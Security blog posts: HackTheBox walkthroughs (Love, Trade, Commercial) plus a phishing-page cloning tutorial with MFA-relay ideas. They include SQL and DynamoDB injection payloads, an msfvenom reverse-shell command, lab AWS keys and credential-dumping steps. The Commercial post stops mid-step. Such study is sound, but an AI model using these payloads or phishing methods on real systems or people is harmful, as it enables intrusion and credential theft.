HackTheBox – Love

I’m currently working through the Certified Bug Bounty Hunter (CBBH) material for the second time as a refresher before I take the exam and figured I could write some new posts during the process since it has been a while.

While going through the material I started using HackTheBox’s “Academy X HTB Labs” feature to match up lab modules with machines released in the past that involve similar techniques. It’s a pretty cool feature that, in this case, led me to the “Love” machine as an easy target to practice SSRF and file upload attacks against. So let’s get started.

Overview

The description below is direct from the HackTheBox website:

Love is an easy windows machine where it features a voting system application that suffers from an authenticated remote code execution vulnerability. Our port scan reveals a service running on port 5000 where browsing the page we discover that we are not allowed to access the resource. Furthermore a file scanner application is running on the same server which is though effected by a SSRF vulnerability where it’s exploitation gives access to an internal password manager. We can then gather credentials for the voting system and by executing the remote code execution attack as phoebe user we get the initial foothold on system. Basic windows enumeration reveals that the machine suffers from an elevated misconfiguration. Bypassing the applocker restriction we manage to install a malicious msi file that finally results in a reverse shell as the system account.

Initial Access

The initial nmap scan for the machine shows 7 ports open (out of the top 1000): 80, 135, 139, 443, 445, 3306, and 5000. 135, 139, and 445 appear to be the usual Windows ports associated with RPC and SMB, but we can still do a quick check on them later if the web ports don’t pan out with anything interesting. As for the others, 80, 443, and 5000 all seem to be running Apache and serving some type of web application.

  1. 80 – Apache serving regular HTTP service with title of “Voting System using PHP”
  2. 443 – Apache running HTTPS service and leaking a certificate name for the staging.love.htb subdomain
  3. 3306 – Based on the error, appears to be a MariaDB (mysql) server
  4. 5000 – Apache serving what seems to be another regular HTTP service

After adding the domains identified (love.htb and staging.love.htb) to my hosts file and trying to visit the web apps, port 80 is the only service that actually loads a functional page. Port 443 and 5000 both return a 403 forbidden when visiting, so we’ll come back to them later.

As for port 80, the home page loads to a login screen for a voting system and the wappalyzer info confirms what nmap found with the server running Apache and the site itself likely being built in PHP.

Looking through the source code for the application, there are some references to it using the Javascript library AdminLTE, but that doesn’t seem to give us anything useful right now. However, running gobuster against the web root lists a few directories, including /admin.

Visiting the /admin endpoint redirects to /admin/, which presents a very similar login to the home page, but this time asks for username rather than voter ID. I tried a few combinations of default credentials, but wasn’t able to get anything to work for an easy win.

There is no option to register on either of the login pages, but I tried to login with random information to see what the request looked like. The home page sends a POST request to /login.php with 3 parameters, and inserting a single quote into the voter field appears to cause an error that looks very similar to a SQL error message.

After trying a few basic payloads for bypassing authentication, I saved the request and sent it through sqlmap to speed up the process. It found a valid time-based injection in the voter field, so we can use this to try to enumerate the database for information that may help us log in.

I won’t show every step of enumeration with sqlmap, but it was successful when trying to identify the current database name, which means it should allow us to find something else useful as well.

I was able to use this to extract the hashed admin password from the admin table, but wasn’t able to crack it so I’m moving on to another vector for now.

At this point I realized I had only checked staging.love.htb on port 443 as that was where I saw the certificate before, but I didn’t see if the same site loaded on HTTP as well. It turned out the staging subdomain leads to an entirely different application called “Free File Scanner”, seen below.

The app advertises itself as an online service to scan files for known malware signatures and as such has a “Demo” tab at the top that leads to a page where the user can enter the URL of a file to scan.

Submitting a URL to the input and inspecting the request shows that the application sends a POST request to /beta.php with the URL in the file parameter and a second parameter for “Scan file”. The second parameter doesn’t really matter to us right now, but the file parameter looks like a great place to test for an SSRF vulnerability. I submitted the request below with a URL of hxxp://127.0.0.1 to see if the site could be used to request data from itself and it successfully loaded (and tried to render) the home page for the voting system application. This means we’re likely dealing with an SSRF vulnerability, so let’s see what else we can do with it.

Remembering back to the initial recon stage, there were seemingly sites hosted on port 443 and 5000 that responded with a 403 forbidden when we browsed to them, but when submitting those ports to this input the page is displayed correctly. In the case of port 5000, it seems to be a “Password Dashboard” that displays the admin credentials for the voting system.

Once I moved back to the voting system /admin/ page we found earlier, I used the credentials found above and was able to get logged in successfully.

As an alternative path that I found after the fact, the voting system app seems to be open source and listed in searchsploit as “Voting System 1.0” with multiple exploits for it, one of which is an authentication bypass using the SQL injection vector found earlier. When I used the payload seen here it allowed me to login to the admin panel without needing to know the password, though this vulnerability may have been released after the initial box and was probably not intended.

Essentially, the injection below is just using the bcrypt hash you provide for the password field (in this case a password of ‘admin’) instead of looking up the actual hash in the database. The comment at the end comments out the rest of the query and returns a success as long as the hash matches the value we provide, thus logging us in.

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -

Anyway, now that we’re logged in we need to see what our admin user can do. We don’t need to dig too deep for now as one of the other exploits found by searchsploit was an authenticated RCE through file upload, so we can check that one out. Looking at the script here, it seems to abuse a photo upload feature on the /admin/voters_add.php endpoint to upload a PHP file that then drops an executable to the target. After downloading a copy of the script, there are 3 important things to note in it before we try to run it.

  1. We need to modify the settings for our instance of Voting System and the IP/Port of our Kali machine to receive the reverse shell.
  2. We need to update the app URLs used in the script to match the endpoint names of our instance
  3. We don’t need to modify this, but we can see that the PHP payload being written will use the Base64 blob to create an executable on the target machine that then takes our IP and port to start the reverse shell connection. However, if this were a real engagement we’d likely want to use our own payload here rather than trusting what is provided.

After starting up a netcat listener and running the updated script, we successfully get a callback and have a shell as the user phoebe.

With this shell we can find the user flag at C:\Users\Phoebe\Desktop\user.txt.

Privilege Escalation

Ok, so we have a shell as phoebe and need to see what she has access to. To make the process easier and faster I used WinPEAS, which will check for a large number of privilege escalation vectors from our current user. I downloaded the Windows x64 release to my Kali machine and:

  1. Hosted WinPEAS from a Python web server with
    • python3 -m http.server
  2. Downloaded it to the target with wget from our shell as phoebe
    • wget http://10.10.14.3:8000/winPEASany.exe -outfile .\wp.exe
  3. Executed WinPEAS and read through the results
    • .\wp.exe

I won’t show the full results here because it’s massive, but there are a few pieces that could be interesting to an attacker.

First, it shows there’s a PowerShell history log, which could contain sensitive data the user typed previously.

Unfortunately, it looks like only one curl command was logged, so not much to go on there.

Next up, WinPEAS also identified that the AlwaysInstallElevated registry key is set to 1, or enabled. This means that any user can install or run an MSI (Microsoft Software Installer) file as the SYSTEM user. MSI files are usually used for what their name stands for, installing software, but in this case we can abuse the functionality to run a command as the SYSTEM user.

The first step is to generate a malicious MSI file we can use to take advantage of the vulnerable registry setting. I used msfvenom with the command below to generate our payload. Since I’m going to be using netcat instead of metasploit to catch the shell, it’s important to use shell_reverse_tcp (non-staged payload) instead of shell/reverse_tcp (staged payload) as the second would fail to give us a full shell with netcat.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=9002 -f msi -o reverse.msi

With our payload created, we just need to download the file to the target machine and execute it. We use the native msiexec tool to run the file with a few flags to ensure it runs smoothly.

  • /quiet – No user interaction required
  • /qn – Don’t display a UI
  • /i – Normal installation

With our netcat listener setup, executing the command above gives us a successful shell as the SYSTEM user.

With SYSTEM access, we can now get the root flag from C:\Users\Administration\Desktop\root.txt and finish up the machine.

Creating a credential harvesting (phishing) page

I’ve been meaning to write-up my method of creating a credential harvesting page and it’s been a while since I’ve posted anything, so here we go.

This method is probably considered pretty basic to some because it’s literally just copying the HTML for a site and editing it a little to point somewhere else, but I try to follow the KISS method when possible and it’s a good base for building additional complexity onto later.

In this post I’m going to go over the following points and then provide a few ideas on improving the final product if it were intended to be used in an actual engagement.

  • Finding a target/login page
  • Cloning the target site
  • Modifying the site to point to the attacker’s server

The overall goal of this is to have a site that looks identical to the target’s legitimate login page, will store/send any credentials submitted to it to the attacker’s server, and then re-direct back to the legitimate page. The steps I’m going to show are by no means the best/most efficient/most effective way of creating a credential harvester, but I still think it’s useful to see one way it can be done to understand how an attacker may approach the subject.

Finding a target

The first thing we need before we can begin creating our phishing page is to find a target site, ideally one with a login page users of the site will recognize. An obvious candidate would be a Microsoft login like the one seen below, but I’m going to avoid that for this example due to the fact that there are multiple steps/pages in the user submitting their username and password which comes with extra logic/code that needs to be implemented. It’s completely doable, but I want to use a simpler example to begin with.

For this example, I’m going to use the login page for TryHackMe as seen below. It’s a standard login with a CAPTCHA, logos, and other assets that are loaded, along with the form for both username and password.

Cloning the target site

As modern websites rely heavily on JavaScript to render sites once you visit them, my personal preference is to simply “View Source” for the target page and copy/paste all of the content into a new file we’re creating to mimic it. This will generally give us a large HTML file with a lot of individual JavaScript and CSS files being loaded from either the same site or from related CDNs. Once this is done and without changing any of the source code for now, we get the page below when opening it in our browser. For reference, the original site is on the left, with the copied version on the right.

This actually looks much closer to the original than many sites would without making any modifications, but there are still some things we can notice that are off in the cloned version. The Google CAPTCHA window is displaying an error because it’s expecting to be loaded on a specific domain, which we won’t be matching. Second, the Google logo on the “Sign in with Google” button is not displaying properly, causing the name of the file to be displayed instead. We’ll fix the CAPTCHA eventually, but the first and easier step is to address the assets not loading correctly. In the image below, we can see some of the assets are being loaded using the full absolute URL of wherever the file is stored, whereas others are using a URL relative to what the current site would be (in this case, tryhackme.com).

The fix for this is to simply replace any relative URLs with their absolute versions. This means changing something like “/assets/page/pace.js” to “https://tryhackme.com/assets/pace/pace.js”. Doing this for the rest of the relative URLs in the source, saving, and reloading gives us the page seen below where the Google image is not rendering correctly, though we still have an issue with the CAPTCHA box. You can save some time changing these URLs using regex patterns in your text editor of choice, but I’ll leave that to the reader for now.

Now that we have all visible assets displaying correctly, we can address the CAPTCHA error that will undoubtedly draw a user’s attention. For simplicity’s sake in this post, we’re just going to remove it as most users will likely not even notice if it’s gone or just assume they’re not required to do it again because of a saved session. This can be done by either removing the div seen below referencing the Google CAPTCHA or by erasing the data-sitekey parameter. Both actions will serve the same purpose of removing the CAPTCHA from the rendered page, as seen in the next screenshot.

Modifying the site to point to the attacker’s server

Great, now we have a clone that is more or less identical to the original, but if a user logs into it the site nothing will happen because the form is still set to send a POST request to /login of the original site. This is seen below where the form is defined with the “action” parameter set to the endpoint the form’s data is supposed to be sent to.

What would happen if we changed this parameter to point to a server we control with a listener running on port 80 to catch any HTTP requests? As seen below, when the action parameter has been changed and a user tries to login the form data is sent to our server with both the username and password being visible.

While this is working correctly, there are still a few issues that might deter a user from actually submitting their credentials to the site. As seen below, when the page loads now the form displays a message that the connection is not secure because our action parameter now points to a URL using HTTP instead of HTTPS. Now, in a real-world scenario many users may not even notice or care about this warning, but it’s a good idea to try and make the clone be as realistic as possible.

This could be easily solved by using a valid SSL certificate from a site like LetsEncrypt for whatever domain name you end up using to host this site. I’m not going to demo that in this post, but the only changes to the source code would be switching the action to HTTPS, along with configuring your web server of choice to use your new certificate. This entire process is relatively straightforward and there are many guides, like this one from DigitalOcean that can be used as a reference.

Potential Improvements

At this point, our clone looks basically identical to the original and is successfully submitting data to our server where it can be logged for future use. However, this is a very basic credential harvesting page that savy users may recognize as not behaving as expected. To this point, there are a number of things we could add to improve the chances of success, apart from simply adding SSL as described above.

  • At the moment, a login attempt will eventually timeout and display an error that the page it was submitting data to didn’t respond as expected or just doesn’t exist at all. There are two ways to address this, though I usually prefer the latter. First, we could create another page to host on our server that will send a response to the login attempt and do something else afterward (i.e. Display an error, load a different page, etc.). Alternatively, Apache (or other web servers) could return a Location header that points the user’s browser back to the legitimate login page on any login attempt. I generally prefer the second option because the longer a user is looking at a phishing page the more likely they are to start noticing differences or that the URL isn’t quite right and this redirect will ensure they’re back where they expected to be, even if their supposed login attempt didn’t work the first try.
  • Many modern applications implement some sort of MFA and a set of valid credentials just aren’t enough anymore to gain access to the target service. There are existing open-source tools that already help with this, like evilginx2, but it’s also possible to get around this on your own with a few additions to the source code and short Python script that is run from your server whenever a user tries to login. The idea is that a user submits their username and password, the attacker’s server extracts the credentials and submits them in the background to the legitimate service/application, the server then loads a second page that mimics what the site looks like when it is expecting an MFA code or response. If the user then submits the code to the cloned site, the script on the attacker’s server then retrieves it and submits it as well to the legitimate site. This is a good bit more complicated, but if all information is submitted successfully, a login to the real target can be automated and a cookie retrieved that will grant access to the site without the need for credentials or MFA codes.

That’s all for now, but I hope this was educational or useful in some way. I plan to come back to this in the future and show what some of these improvements would look like when implemented, so hopefully I get around to that sooner rather than later.

HTB Business CTF 2022 – Trade (Cloud)

Overview

The Trade machine was another challenge included in the HackTheBox Business CTF 2022 and was rated as an easy Cloud challenge. The only information provided was the IP of the initial machine and the description below.

With increasing breaches there has been equal increased demand for exploits and compromised hosts. Dark APT group has released an online store to sell such digital equipment. Being part of defense operations can you help disrupting their service ?

Initial Nmap

The initial nmap scan shows 3 ports open from the top 1000: SSH, HTTP, and Subversion.

Nmap scan report for 10.129.186.201
Host is up (0.089s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http     Apache httpd 2.4.41
|_http-title: Monkey Backdoorz
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
3690/tcp open  svnserve Subversion
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

When visiting the IP in the browser, we’re presented with a login page for “Monkey Backdoorz”. We don’t have credentials at the moment and the general default credentials of admin:admin, etc. do not seem to work. I began a directory brute-force with gobuster and moved on to investigating the Subversion service identified by nmap.

Subversion

Apache Subversion is a version control software, similar to Git, that is open source. According to Google the biggest different is that Git version control is distributed, while SVN is centralized.

For reference, most of the commands I’m using can be found here as a general methodology of investigating Subversion.

We can begin investigating the SVN instance by using a few commands to get an idea of what is stored there. First, we can list the repositories available, which shows only one named store. We can then checkout the store repository and automatically sync any files kept there to our local machine. In this case, this downloads a README and two Python scripts.

$ svn ls svn://10.129.186.194                                                                                                                                                                                             
store/


$ svn checkout svn://10.129.186.194                                                                                                                                                                                             
A    store
A    store/README.md
A    store/dynamo.py
A    store/sns.py
Checked out revision 5.

Sns.py appears to be a script used to interact with instaces of an AWS S3 bucket and SNS (Simple Notification Service) located at http://cloud.htb. However, the script seems to have had the AWS secrets removed.

Dynamo.py is another script interacting with an AWS service, this time to create/update a DynamoDB instance. The credentials below for the user ‘marcus’ were found hard-coded in the script.

client.put_item(TableName='users',
    Item={
        'username': {
            'S': 'marcus'
        },
        'password': {
            'S': 'REDACTED'
        },
    }

Going back to the web page found earlier, they allow us to login successfully, but move us next to an OTP prompt. We don’t know how the OTP is generated yet, so I went back to investigating SVN further.

As Subversion works like Git, that means we can view the log of commits to this particular repository and potentially view the older versions. As seen below, there are 5 revisions available for this repository, with r5 being the latest and the one we downloaded.

$ svn log svn://10.129.186.194                                                                                                                                                                                              
------------------------------------------------------------------------
r5 | root | 2022-06-14 02:59:42 -0700 (Tue, 14 Jun 2022) | 1 line

Adding database
------------------------------------------------------------------------
r4 | root | 2022-06-14 02:59:23 -0700 (Tue, 14 Jun 2022) | 1 line

Updating Notifications
------------------------------------------------------------------------
r3 | root | 2022-06-14 02:59:12 -0700 (Tue, 14 Jun 2022) | 1 line

Updating Notifications
------------------------------------------------------------------------
r2 | root | 2022-06-14 02:58:26 -0700 (Tue, 14 Jun 2022) | 1 line

Adding Notifications
------------------------------------------------------------------------
r1 | root | 2022-06-14 02:49:17 -0700 (Tue, 14 Jun 2022) | 1 line

Initializing repo
------------------------------------------------------------------------

Changing to a previous revision (revision 2) shows an older version of sns.py with the AWS secrets still included.

$ svn checkout svn://10.129.186.201 -r 2                                                                                                                                                                                    

   C store
   A store/README.md
   A store/sns.py
Checked out revision 2.

Old revision of sns.py

region = 'us-east-2'
max_threads = os.environ['THREADS']
log_time = os.environ['LOG_TIME']
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

These can be setup in the AWS CLI by running aws configure and entering the appropriate values when prompted (access key, secret access key, region, etc.).

# Install awscli packages
$ sudo apt-get install awscli

# Configure awscli to use the identified secrets
$ aws configure

AWS CLI

With the AWS CLI setup with the appropriate secrets, we need to investigate the services being used by the application: S3 and SNS. Unfortunately, our secrets don’t appear to have permission to enumerate S3 buckets, so I moved on to SNS.

After some trial and error, the command below enumerates the available topics in SNS (Simple Notification Service) within AWS. --endpoint-url needs to specify the HTB host as it is running a local instance of the AWS services. I just added the IP of the device to my /etc/hosts file and pointed it to cloud.htb in this case to match the endpoint seen in the Python scripts.

$ aws --endpoint-url=http://cloud.htb sns list-topics                                                                                                                                                                       
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp"
        }
    ]
}

Reading through the documentation, we can subscribe to the topic using the command below and specifying the HTTP protocol along with our attacking IP. This way, whenever a notification is sent it will come over port 80 to our machine. We can monitor for this connection with netcat on port 80 and see any requests that come in.

$ aws --endpoint-url=http://cloud.htb sns subscribe --topic-arn "arn:aws:sns:us-east-2:000000000000:otp" --protocol http --notification-endpoint http://10.10.14.2
{
    "SubscriptionArn": "arn:aws:sns:us-east-2:000000000000:otp:47ceda90-0699-4142-90b7-acad806a5db6"
}

If we have netcat listening when this subscription is submitted, we get a confirmation message from the server for the new subscription.

$ nc -lvnp 80                                                                                                                                                                                                                 

listening on [any] 80 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.186.201] 38974
POST / HTTP/1.1
Host: 10.10.14.2
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
x-amz-sns-message-type: SubscriptionConfirmation
x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp
x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:9a21091c-7dcc-4349-9146-609d063997ee
Content-Length: 831

{"Type": "SubscriptionConfirmation", "MessageId": "cbda25dd-1fcf-4c08-8b0a-555d6ecc4d3f", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-2:000000000000:otp.\nTo confirm the subscription, visit the SubscribeURL included in this message.", "Timestamp": "2022-07-18T18:35:11.625Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "SubscribeURL": "http://localhost:4566/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-2:000000000000:otp&Token=c348e025", "Token": "c348e025", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:9a21091c-7dcc-4349-9146-609d063997ee"}

Now, when logging into the web app with marcus’ credentials and we have netcat running on port 80, a successful login on the web app sends the notification below, which includes an OTP in the section I have isolated.

$ nc -lvnp 80                                                                                                                                                                                                                   
listening on [any] 80 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.186.194] 47912
POST / HTTP/1.1
Host: 10.10.14.2
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
x-amz-sns-message-type: Notification
x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp
x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:47ceda90-0699-4142-90b7-acad806a5db6
Content-Length: 529

{"Type": "Notification", "MessageId": "d361f33c-6566-458f-862e-a137e24f4657", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "

{\"otp\": \"74918031\"}", <----- OTP Number

"Timestamp": "2022-07-17T23:38:26.886Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:47ceda90-0699-4142-90b7-acad806a5db6"}

Using this number for the OTP prompt allows us to successfully login to the website.

The website itself appears to be a marketplace for access to various companies, but the cart functionality doesn’t seem to be fully functional.

DynamoDB Injection

At the bottom of the page is a link to a search page for more exploits.

Visiting this page gives a pretty generic search box and results message when entering regular text.

However, based on the script found earlier in SVN, it appears the website is using a DynamoDB database, which is a proprietary NoSQL database service used by Amazon.

After some fuzzing on the search parameter, a few characters cause a different result to be displayed. Below shows the result when the string zzzzz” is entered, displaying a JSONDecodeError and the query being sent to the database. A few Google searches on this error and the variables being used in the query confirms the search is most likely connected to a DynamoDB instance that our input is being directly passed to.

After some research on DynamoDB injections, I found this article discussing ways to exploit them and how they work. The important part is quoted below:

With String attributes, comparison gets tricky, as comparison depends on the ASCII lexical ordering of strings, therefore, if you compare string values against another string with lower lexical ordering like * or a string with whitespace its likely to be always greater than or less than the queried string.

I also found this useful website showing the ASCII sort order, with the first character being a space.

This effectively means if we can inject a string comparison against something like a whitespace character then it will function the same as the usual “OR 1=1” used in other common SQL injections and return every item from the database. With some trial and error, our full query eventually ends up looking like the json data below when expanded. This takes the original query seen in the error message and adds a second portion where we are doing a second comparison using greater than (GT) against the space character. This will result in a true response for every other ASCII character, essentially returning everything.

{
    "servername": 
    {
        "ComparisonOperator": "EQ","AttributeValueList": [
                {
                    "S": "START_OF_PAYLOAD"
                }
            ]
    },
    "servername": 
    {
        "ComparisonOperator": "GT","AttributeValueList": [
                {
                    "S": " "
                }
            ]
    }
}

When compressed to one line and the rest of the query removed (including the final "}]}} added by the server), we get the payload below (there is a space at the end, though it’s not easy to see).

START_OF_PAYLOAD"}]},"servername":{"ComparisonOperator": "GT","AttributeValueList": [{"S": " 

When this payload is submitted, the injection appears to be successful as the results include everything in the database. In this case, this is a list of servers, usernames, passwords, and shell locations.

The list of usernames/passwords can be taken and tried against the SSH service that was seen listening on the server initially. Eventually, we discover the credentials for Mario are valid and allow us to log in.

The flag.txt can be found in mario’s home directory.

HTB Business CTF 2022 – Commercial (FullPwn)

Overview

The Commercial machine was a challenge included in the HackTheBox Business CTF 2022 over the weekend and was rated as hard difficulty. The only information provided was the IP of the initial machine and the description below.

We have identified a dark net market by indexing the web and searching for favicons that belong to similar marketplaces. You are tasked with breaking into this marketplace and taking it down.

Initial Nmap Scan

The initial nmap scan below shows 4 ports open out of the top 1000 automatically scanned. The banners tell us it is a Windows machine (though with OpenSSH running), but the services available are an odd combination either way. The SSL cert information identified for the HTTPS service leaks the hostname of the box/IP/domain as commercial.htb.

$ sudo nmap -sC -sV 10.129.227.235 -v

Nmap scan report for commercial.htb (10.129.227.235)                                                                                                                                                                          [6/1341]
Host is up (0.084s latency).                                                                                       
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION                      
22/tcp  open  ssh        OpenSSH for_Windows_8.1 (protocol 2.0)                                                                                                                                                                       
| ssh-hostkey: 
|   3072 ee:69:a0:e8:d7:43:6a:40:99:c6:16:0c:43:d3:d0:df (RSA)
|   256 73:95:19:f7:ac:36:3c:f9:78:6b:27:c6:b9:cb:c2:83 (ECDSA)                                                                                                                                                                       
|_  256 ec:2c:11:ab:ba:5e:30:4e:6d:b9:65:6b:ad:6d:39:e4 (ED25519)
135/tcp open  msrpc      Microsoft Windows RPC
443/tcp open  ssl/http   Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-server-header: 
|   Microsoft-HTTPAPI/2.0
|_  Microsoft-IIS/10.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2022-07-18T19:02:38+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=commercial.htb
| Subject Alternative Name: DNS:commercial.htb
| Issuer: commonName=commercial.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-10T21:15:25
| Not valid after:  2023-07-10T21:35:25
| MD5:   6aac 8f67 aa3e b943 6e94 987b ee75 ff91
|_SHA-1: c6fc 3014 4e1d d2d4 78c8 09e3 2c94 96b4 80c2 e2dd
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Monkey Store
|_http-favicon: Unknown favicon MD5: 0715D95B164104D2406FE35DC990AFDA
593/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

User Flag

HTTPS

Visiting the IP in the browser returns an SSL error as the certificate appears to be for commercial.htb instead of the specific IP.

However, when accepting the risk and continuing we’re presented with a 404 error that the page cannot be found. This appears to be due to the server expecting the name commercial.htb specifically rather than the IP address. After updating my /etc/hosts file to point the IP to commercial.htb and reloading the page, it loads successfully and we’re given the home page for “Monkey Store”.

The message below is included on the page mentioning that all links were taken down previously and some functionality is still down. This is confirmed when clicking around the home/market pages where nothing seems to be interactive and there is no way to add items to a cart or login (though I haven’t brute-forced directories/page at this point).

Update 15-07-2022:

We are back up and running. The old link was unfortunately
seized and taken down by ??????. Parts of this website are
still under development. Registrations are currently down.
Only our most trusted vendors and customers can access the
store. The issue will be resolved very soon. A lot of exit
nodes are being taken down by ??????. Be vigilant.
~ MB

Update 16-03-2020:

Error........We are deleting all of the available listings.
Not for ever.  Until it is safe for our vendors and buyers.
It is very vital that you stay away from this market place.
Going away for some time. They are close. Hide your tracks.
Most of our servers have been taken down. This is the last.
Above all do not access the City Market. It is compromised.
~ MB

Normally, I would move on to attempting to brute force directories with gobuster or investigating the web app further, but in this case I noticed a considerable amount of files being loaded in the Firefox DevTools whenever a page was requested. The vast majority appear to be initiated by the file blazor.webassembly.js. Blazor itself is a C# framework that is used to build interactive web apps with .NET.

In my research, I found this video below that discusses how Blazor WebAssembly applications can be exploited if the project’s DLLs are visible when the application loads (as seen above). As we can see the list of DLLs loaded by the app, we can download any of them individually and inspect them with an application like DNSpy or ILSpy that will allow the .NET code to be decompiled. Many of the DLLs appear to be related to Microsoft packages, but “Commercial.Client.dll” and “Commercial.Shared.dll” appear to be associated with the specific project, so those are our first target.

Decompiling Blazor DLLs

I downloaded both files mentioned above and opened then in the DNSpy application which, as seen below, was able to successfully open them. I began with “Commercial.Shared.dll” for no particular reason, but it ended up being the more interesting file either way.

Drilling down into the runspace and functions of the application reveals hardcoded credentials for the user Timothy.Price that appears to be used in a SQL connection string included for the application to function.

Using these credentials against the SSH service that was identified in the initial scan successfully logs us in as timothy.price and shows us the hostname of this machine is CMF-WKS001.

The user.txt flag can then be found on this user’s desktop.

Privilege Escalation to Richard.Cartwright

Before moving any further, I ran ipconfig to get an idea of our network interfaces and the only active one we’re shown is for the IP 172.16.22.2, which means there is a NAT involved somewhere that routes the 10.x.x.x address we originally used to this host.

Event Log Reader Group

Checking the user’s permissions shows he is a member of the “Event Log Readers” group, which is non-standard that allows the group members read access to any event log.

Initial checks using PowerShell show there are 7 different logs we can read, though only 3 appear to have data available. Windows PowerShell specifically sounds interesting as a first place to check.

From here, I used the command below to enumerate the PowerShell logs, which was a little tedious as it retrieves every log in this category, but one stood out eventually when scrolling through as including a base64-encoded command.

Get-EventLog -LogName "Windows PowerShell"

This encoded PowerShell commands decodes into the command below, which includes credentials for the user richard.cartwright.

$passwd = ConvertTo-SecureString "REDACTED" -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential ("commercial\richard.cartwright", $passwd)

Moving back to SSH again, we’re able to successfully log in as richard.cartwright with these new credentials.

2nd Privilege Escalation to Local Admin

Unfortunately, Richard doesn’t seem to have anything very interesting in his home directory. Checking this user’s permissions, we can see he is a member of a custom domain group named “IT_Staff”.

At this point, Bloodhound could be run to gather domain information and plot out the same attack path I’m going to use, but I had some trouble with my SSH session not running Bloodhound correctly in PowerShell and the executable being detected by Windows Defender. I didn’t feel like putting a lot of effort into obfuscating the script past changing function names, so I moved on to using PowerView instead for domain recon. Below I’m retrieving the script from my machine and running the Get-Domain command to confirm the script was loaded correctly.

NOTE: Before I load any script into a PowerShell session I am running an AMSI bypass to ensure the scripts function correctly without Defender/AMSI stopping them. There are various bypasses found around the internet with a good collection at https://amsi.fail/, though several at this site are detected as malicious nowadays if used as is.

Using powerview to investigate the “IT_Staff” group, we can see Richard is the only member.

Get-DomainGroupMembers -Identify "IT_Staff" -domain commercial.htb

This doesn’t necessarily give us much more information on what the group can do so I ran the script PrivEscCheck.ps1 to perform a variety of checks for local misconfigurations that would allow us to elevate privileges locally, if not in the domain. This script performs many of the same checks as tools like SeatBelt and PowerUp.

Invoke-PrivescCheck -Report check -Force html -Extended

The command above outputs the results to an HTML file that can be downloaded from the machine for easier reference, but I noticed during the execution that one check showed LAPS (Local Administrator Password Solution) was enabled on this machine.

With LAPS enabled, we can use the LAPSToolkit to help identify which groups/users potentially have access to read the LAPS password.

As seen in the image above, the IT_Staff group we are a member of happens to have permission to read the LAPS passwords. The same LAPSToolkit script can then be used to retrieve any LAPS passwords set for machines in the domain. This gives us the administrator password for the CMF-WKS001 machine, which is what we’re currently working on. This also shows us there are two other computers in the commercial.htb domain, one of which appears to be the domain controller.

Taking this password and going back to SSH one more time shows the credentials are valid and allow us to log in as the local administrator of the machine.

Accessing the Domain Controller

Though there are multiple users and home directories on the machine, there is no root flag to be found. In this case, given there are multiple machines in the domain, the root flag is likely on the domain controller seen earlier in our enumeration. I used Metasploit to help make post-exploitation easier and opted for the multi/script/web_delivery module to deliver the initial payload through a PowerShell command using the configuration below.

After it is run, this module starts a web server and produces a PowerShell command to be run on the target that will call back and retrieve the stager for the meterpreter payload. Running this command in our SSH session as the local administrator successfully gives us a new session in Metasploit.

As we’re the local administrator, we should have the appropriate access to dump credentials from the device. hashdump can be used to dump the local SAM database, but we want to gather domain credentials as well so I chose the kiwi module which includes functionality from Mimikatz. The commands below will elevate our session from administrator to SYSTEM and then load the kiwi module.

